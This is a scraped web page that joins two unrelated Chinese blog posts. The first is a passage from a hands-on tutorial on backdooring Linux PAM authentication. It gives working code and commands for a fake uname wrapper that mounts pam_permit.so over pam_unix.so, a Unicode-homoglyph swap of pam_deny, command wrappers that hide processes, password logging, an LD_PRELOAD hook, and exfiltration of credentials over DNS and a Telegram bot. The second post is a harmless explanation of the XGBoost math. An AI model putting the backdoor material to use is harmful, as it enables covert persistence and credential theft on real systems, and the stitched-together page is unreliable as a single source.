pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    int retval;
    const char *user=NULL;

    /*
     * authentication requires we know who the user wants to be
     */
    retval = pam_get_user(pamh, &user, NULL);
    if (retval != PAM_SUCCESS) {
        D(("get user returned error: %s", pam_strerror(pamh,retval)));
        return retval;
    }
    if (user == NULL || *user == '\0') {
        D(("username not known"));
        retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
        if (retval != PAM_SUCCESS)
            return PAM_USER_UNKNOWN;
    }
    user = NULL;                                            /* clean up */

    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
               int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- account management functions --- */

PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- password management --- */

PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- session management --- */

PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                     int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* end of module definition */

#ifdef PAM_STATIC

/* static module data */

struct pam_module _pam_permit_modstruct = {
    "pam_permit",
    pam_sm_authenticate,
    pam_sm_setcred,
    pam_sm_acct_mgmt,
    pam_sm_open_session,
    pam_sm_close_session,
    pam_sm_chauthtok
};

#endif

所以在留pam後門時也可以利用這個”永真”的so來達到權限維持。

掛載+優先級後門

當我們運行shell腳本時候系統將順序嘗試在PATH環境變量的所有目錄中查找該命令。如果兩個不同的PATH條目中有兩個匹配的可執行文件,則將使用第一個而不觸發任何警告。因此,如果我們在第一個PATH條目中添加了一個惡意二進制文件,而合法的二進制文件則位於PATH的後面,則使用惡意二進制文件代替原始二進制文件。

所以我們可以利用路徑優先級結合使用mount連接原so和替換的惡意so文件來耍點”小聰明”,這裏將/usr/bin/uname寫個wrapper script:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

這樣就用pam_permit.so來替代加載了pam_unix.so.

原因就在於/usr/bin默認優先於/bin路徑

qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a

Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$

可以發現隨便輸入密碼都是ok的 以及以低用戶權限切root也是無密:

這樣相當於萬能密碼,/dev/null重定向標準錯誤也是為了低權限用戶執行mount因權限不夠出錯的問題,這樣就算不是root用戶執行uname在最後執行原/bin/uname沒有任何影響。種植後任何調用uname的腳本都會觸發pam_permit.so,並且我們沒有修改原pam的任何文件。

uname只是一個簡單的例子,shell腳本中可以使用無數的命令,具體要用替換來長期維權需要替換什麼師傅們也能想到。

需要注意的一個的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 進行,而你在Centos這種紅帽中PATH又是不一樣的,具體環境具體替換即可。

同形異義字後門

/etc/pam.d/下來管理對程序的認證方式。

應用程序會調用相應的配置文件,從而調用本地的認證模塊,模塊放置在/lib/security下,以加載動態庫的形式進,像我們使用su命令時,系統會提示你輸入root用戶的密碼.這就是su命令通過調用PAM模塊實現的.

qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x  2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r--  1 root root  384 Nov 12  2015 chfn
-rw-r--r--  1 root root   92 Nov 12  2015 chpasswd
-rw-r--r--  1 root root  581 Nov 12  2015 chsh
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-account
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-auth
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-password
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-noninteractive
-rw-r--r--  1 root root  606 Apr  5  2016 cron
-rw-r--r--  1 root root 4.8K Jan 29  2016 login
-rw-r--r--  1 root root   92 Nov 12  2015 newusers
-rw-r--r--  1 root root  520 Mar 16  2016 other
-rw-r--r--  1 root root   92 Nov 12  2015 passwd
-rw-r--r--  1 root root  143 Mar 12  2016 runuser
-rw-r--r--  1 root root  138 Mar 12  2016 runuser-l
-rw-r--r--  1 root root  454 Jan 13  2018 smtp
-rw-r--r--  1 root root 2.1K Mar  4  2019 sshd
-rw-r--r--  1 root root 2.3K Nov 12  2015 su
-rw-r--r--  1 root root  239 Mar 30  2016 sudo
-rw-r--r--  1 root root  251 Apr 12  2016 systemd-user

看文件之前先看下配置文件的規則,例如/etc/pam.d/sshd(省略號為無關內容):

qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service

# Standard Un*x authentication.
@include common-auth
...
account    required     pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close

# Set the loginuid process attribute.
session    required     pam_loginuid.so
..
session    optional     pam_keyinit.so force revoke
..
@include common-session
..
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
..
session    optional     pam_mail.so standard noenv # [1]
..
session    required     pam_limits.so

..
session    required     pam_env.so # [1]
..
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open

# Standard Un*x password updating.
@include common-password

第一列代表模塊類型

第二列代表控制標記

第三列代表模塊路徑

第四列代表模塊參數

而模塊又分四種,具體可以百度,這裏對於後門做手腳還是關注認證管理(auth)模塊。

查看認證/etc/pam.d/common-auth,可以發現auth模塊和對應標記控制、調用的模塊、傳遞的參數:

從文件中控制標記可以看出驗證的邏輯順序(required表示即使某個模塊對用戶的驗證失敗,requisite也是表示返回失敗,立刻嚮應用程序返回失敗,表示此類型失敗.不再進行同類型後面的操作.),為這裏suucces=1的表示驗證密碼成功然後接下來去調用pam_unix.so(跳過調用pam_deny.so),如果驗證失敗則會去調用pam_deny.so,

那在不知道認證密碼的情況下必然是認證失敗,如果失敗調用的這個pam_deny.so為惡意文件或者為返回結果為真的pam_permit.so都可以達到一個後門的效果,這裏就可以用到同形異字Unicode字符來做個後門:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

這裏de後面的並不是正常的n,而是用Unicode字符u+578來替代,雖然他看來和正常的n很像,

所以在認證文件替換響應的字符,這樣調用的時候會調用我們創建含unicode字符的so,最後還是會調用到pam_permit.so使認證結果返回正確,而不是原認證文件。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

類似的還可以使用相同名稱的shell腳本來替換ls、netstat、ps等命令,不過不推薦:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

0x03 PAM-BackDoor-exfiltration

在更改pam_unix_auth時候可以指定將密碼寫入tmp目錄文件來記錄密碼,除此我們也可使用數據帶外的方式來達到用後門收集一些有效憑證、敏感密碼之類的信息。

這時候我們在看來一般的PAM後門種植過程中對於密碼的記錄:

if(strcmp(p,"qing")==0)
{
        retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
        fp=fopen("qing.txt","a");
        fprintf(fp,"%s::%s\n",name,p);
        fclose(fp);
}

DNS exfiltration收集密碼

這裏還是在retval = _unix_verify_password(pamh, name, p, ctrl)下改變邏輯,如果需要將憑證帶外的話只需要改變記錄方式,比如創建socket對象將認證賬號密碼發送http格式的包到攻擊者的服務器上。這裏也可以使用dns帶外的形式,還是在更改pam_unix_auth.c的基礎上加入dns帶外的代碼。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_serversChangetoDnsNameFormat進行指定dns解析和域名格式轉換

void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file \n");
    }
     
    while(fgets(line , 200 , fp))
    {
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");
             
            //p now is the dns ip :)
            //????
        }
    }
     
    strcpy(dns_servers[0] , "208.67.222.222");
    strcpy(dns_servers[1] , "208.67.220.220");
}
 
/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");
     
    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock<i;lock++) 
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

加入查詢的代碼后只需要在_unix_verify_password下面加入對認證信息的dns查詢即可,name和p都在最後調用ngethostbyname將snprintf拼接好的地址進行dns查詢:

root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make

而這種還是對pam_unix.so進行替換,如果不動so文件也可以使用LD_PRELOAD之類的來預加載。

LD_PRELOAD 劫持收集密碼

在不動so的情況下我們也可以使用類似LD_PRELOAD的方式來劫持相關認證函數,在劫持的函數中對憑證進行帶外收集,最後再調用正常的認證函數即可。而@TheXC3LL沒有細說為什麼劫持pam_get_item函數的原因,查下資料,先來看看pam_get_item函數:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top
       pam_get_item - getting PAM informations
SYNOPSIS         top
       #include <security/pam_modules.h>

       int pam_get_item(const pam_handle_t *pamh, int item_type,
                        const void **item);
DESCRIPTION         top
       The pam_get_item function allows applications and PAM service modules
       to access and retrieve PAM informations of item_type. Upon successful
       return, item contains a pointer to the value of the corresponding
       item. Note, this is a pointer to the actual data and should not be
       free()'ed or over-written! The following values are supported for
       item_type:

可以看到pam_get_item 是用來讓應用和pam服務模塊去獲取PAM信息的,查看手冊定義發現當item_type參數為PAM_AUTHTOK

使用pam_sm_authenticate()pam_sm_chauthtok()會傳遞身份令牌(一般是密碼)和包含密碼,這裏傳遞了密碼憑據:

 PAM_AUTHTOK
           The authentication token (often a password). This token should be
           ignored by all module functions besides pam_sm_authenticate(3)
           and pam_sm_chauthtok(3). In the former function it is used to
           pass the most recent authentication token from one stacked module
           to another. In the latter function the token is used for another
           purpose. It contains the currently active authentication token.

手冊末尾也說明了獲取用戶名使用pam_get_user()、並且當是服務模塊的時候才可以讀取認證憑據。

If a service module wishes to obtain the name of the user, it should
       not use this function, but instead perform a call to pam_get_user(3).

       Only a service module is privileged to read the authentication
       tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我們劫持pam_get_item即可收集憑據。

劫持后的pam_get_item函數,orig_ftype定義為dlsym返回動態鏈接庫的函數指針即原pam_get_item函數,調用原函數后在最後發送dns請求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    int pid;
    const char *name;
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        unsigned char hostname[256];
        get_dns_servers();
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }

    return retval;

root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

這種好處雖然也是用pam做後門但是不用去動認證文件以及每次收集使用dns帶外,動靜更小隱蔽性更好一些。

使用**pam_get_item **獲取密碼還可以參考這篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item來獲取密碼,只不過是改的/etc/pam.d/common-auth使認證成功時調用惡意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

將密碼帶外則是用的libcurl來帶外:

void sendMessage(char (*message)[]) {
  char url[500];
  char data[200];

  //INSERT HERE YOUR BOT KEY
  char token[200] = "BOT TOKEN";

  //INSERT HERE YOUR USER ID
  int user_id = 1111111;

  snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
  snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
  CURL *curl;
  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();
  if(curl) {
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data); 
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_perform(curl);
  }                                       
  curl_global_cleanup();
}

使用這個項目時候有點bug,添加下函數聲明:

//添加函數聲明
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//獲得密碼
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

最後改下接收地址,make編譯替換寫入即可。

END

Links

https://blog.csdn.net/weixin_42758707/article/details/94738684

https://www.cnblogs.com/marility/articles/9235522.html

https://github.com/mthbernardes/sshLooterC

https://x-c3ll.github.io/posts/

http://0daysecurity.com/articles/backdoor_pam_unix.so.html

https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh

http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/

[Hacking-Contest] Invisible configuration file backdooring with Unicode homoglyphs

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

一文入門:XGBoost與手推二階導

作者前言

在2020年還在整理XGB的算法,其實已經有點過時了。。不過,主要是為了學習算法嘛。現在的大數據競賽,XGB基本上已經全面被LGB模型取代了,這裏主要是學習一下Boost算法。之前已經在其他博文中介紹了Adaboost算法和Gradient-boost算法,這篇文章講解一下XGBoost。

Adaboost和XGBoost無關,但是Gradient-boost與XGBoost有一定關係。
一文搞懂:Adaboost及手推算法案例
一文讀懂:GBDT梯度提升

樹模型概述

XGB就是Extreme Gradient Boosting極限梯度提升模型。XGB簡單的說是一組分類和回歸樹(CART)的組合。跟GBDT和Adaboost都有異曲同工之處。
【CART=classification adn regression trees】

這裏對於一個決策樹,如何分裂,如何選擇最優的分割點,其實就是一個搜索的過程。搜索怎麼分裂,才能讓目標函數最小。目標函數如下:
\(Obj = Loss + \Omega\)
\(Obj\)就是我們要最小化的優化函數,\(Loss\)就是這個CART模型的預測結果和真實值得損失。\(\Omega\)就是這個CART模型的複雜度,類似神經網絡中的正則項。
【上面的公式就是一個抽象的概念。我們要知道的是:CART樹模型即要求預測盡可能準確,又要求樹模型不能過於複雜。】

對於回歸問題,我們可以用均方差來作為Loss:
\(Loss=\sum_i{(y_i-\hat{y_i})^2}\)

對於分類問題,用交叉熵是非常常見的,這裏用二值交叉熵作為例子:
\(Loss = \sum_i{(y_ilog(\hat{y_i})+(1-y_i)log(\hat{y_i}))}\)

總之,這個Loss就是衡量模型預測準確度的損失。

下面看一下如何計算這個模型複雜度\(\Omega\)吧。
\(\Omega = \gamma T+\frac{1}{2} \lambda \sum^T_j{w_j}^2\)

\(T\)表示恭弘=叶 恭弘子節點的數量,\(w_j\)表示每個恭弘=叶 恭弘子節點上的權重(與恭弘=叶 恭弘子節點的樣本數量成正比)。

【這裡有點麻煩的在於,\(w_j\)是與每個恭弘=叶 恭弘子節點的樣本數量成正比,但是並非是樣本數量。這個\(w_j\)的求取,要依靠與對整個目標函數求導數,然後找到每個恭弘=叶 恭弘子節點的權重值\(w_j\)。】

XGB vs GBDT

其實說了這麼多,感覺XGB和GDBT好像區別不大啊?下面整理一下網上有的說法,再加上自己的理解。有錯誤請指出評論,謝謝!

區別1:自帶正則項

GDBT中,只是讓新的弱分類器來擬合負梯度,那擬合多少棵樹才算好呢?不知道。XGB的優化函數中,有一個\(\Omega\)複雜度。這個複雜度不是某一課CART的複雜度,而是XGB中所有CART的總複雜度。可想而知,每多一顆CART,這個複雜度就會增加他的懲罰力度,當損失下降小於複雜度上升的時候,XGB就停止了。

區別2:有二階導數信息

GBDT中新的CART擬合的是負梯度,也就是一階導數。而在XGB會考慮二階導數的信息。

這裏簡單推導一下XGB如何用上二階導數的信息的:

  1. 之前我們得到了XGB的優化函數:
    \(Obj = Loss + \Omega\)

  2. 然後我們把Loss和Omega寫的更具體一點:
    \(Obj = \sum_i^n{Loss(y_i,\hat{y}_i^t)}+\sum_j^t{\Omega(cart_j)}\)

    • \(\hat{y_i^t}\)表示總共有t個CART弱分類器,然後t個弱分類器給出樣本i的估計值就。
    • \(y_i\)第i個樣本的真實值;
    • \(\Omega(cart_j)\)第j個CART模型的複雜度。
  3. 我們現在要求取第t個CART模型的優化函數,所以目前我們只是知道前面t-1的模型。所以我們得到:
    \(\hat{y}_i^t = \hat{y}_i^{t-1}+f_t(x_i)\)
    t個CART模型的預測,等於前面t-1個CART模型的預測加上第t個模型的預測。

  4. 所以可以得到:
    \(\sum_i^n{Loss(y_i,\hat{y}_i^t)}=\sum_i^n{Loss(y_i,\hat{y}_i^{t-1}+f_t(x_i))}\)
    這裏考慮一下特勒展開:
    \(f(x+\Delta x)\approx f(x)+f'(x)\Delta x + \frac{1}{2} f”(x)\Delta x^2\)

  5. 如何把泰勒公式帶入呢?
    \({Loss(y_i,\hat{y}_i^t)}\)中的\(y_i\)其實就是常數,不是變量
    所以其實這個是可以看成\(Loss(\hat{y}_i^t)\),也就是:
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))\)

  6. 帶入泰勒公式,把\(f_t(x_i)\)看成\(\Delta x\)
    \(Loss(\hat{y}_i^{t-1}+f_t(x_i))=Loss(\hat{y}_i^{t-1})+Loss'(\hat{y}_i^{t-1})f_t(x_i)+\frac{1}{2}Loss”(\hat{y}_i^{t-1})(f_t(x_i))^2\)

    • 在很多的文章中,會用\(g_i=Loss'(\hat{y}_i^{t-1})\),以及\(h_i=Loss”(\hat{y}_i^{t-1})\)來表示函數的一階導數和二階導數。
  7. 把泰勒展開的東西帶回到最開始的優化函數中,刪除掉常數項\(Loss(\hat{y}_i^{t-1})\)(這個與第t個CART模型無關呀)以及前面t-1個模型的複雜度,可以得到第t個CART的優化函數:
    \(Obj^t \approx \sum_i^n{[g_i f_t(x_i)+\frac{1}{2}h_i(f_t(x_i))^2}]+{\Omega(cart_t)}\)

【所以XGB用到了二階導數的信息,而GBDT只用了一階的梯度】

區別3:列抽樣

XGB借鑒了隨機森林的做法,不僅僅支持樣本抽樣,還支持特徵抽樣(列抽樣),不僅可以降低過擬合,還可以減少計算。

區別4:缺失值

XGB可以自適應的處理樣本中的缺失值。如何處理的這裏就不再講述。

喜歡的話請關注我們的微信公眾號~【你好世界煉丹師】。

  • 公眾號主要講統計學,數據科學,機器學習,深度學習,以及一些參加Kaggle競賽的經驗。
  • 公眾號內容建議作為課後的一些相關知識的補充,飯後甜點。
  • 此外,為了不過多打擾,公眾號每周推送一次,每次4~6篇精選文章。

微信搜索公眾號:你好世界煉丹師。期待您的關注。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化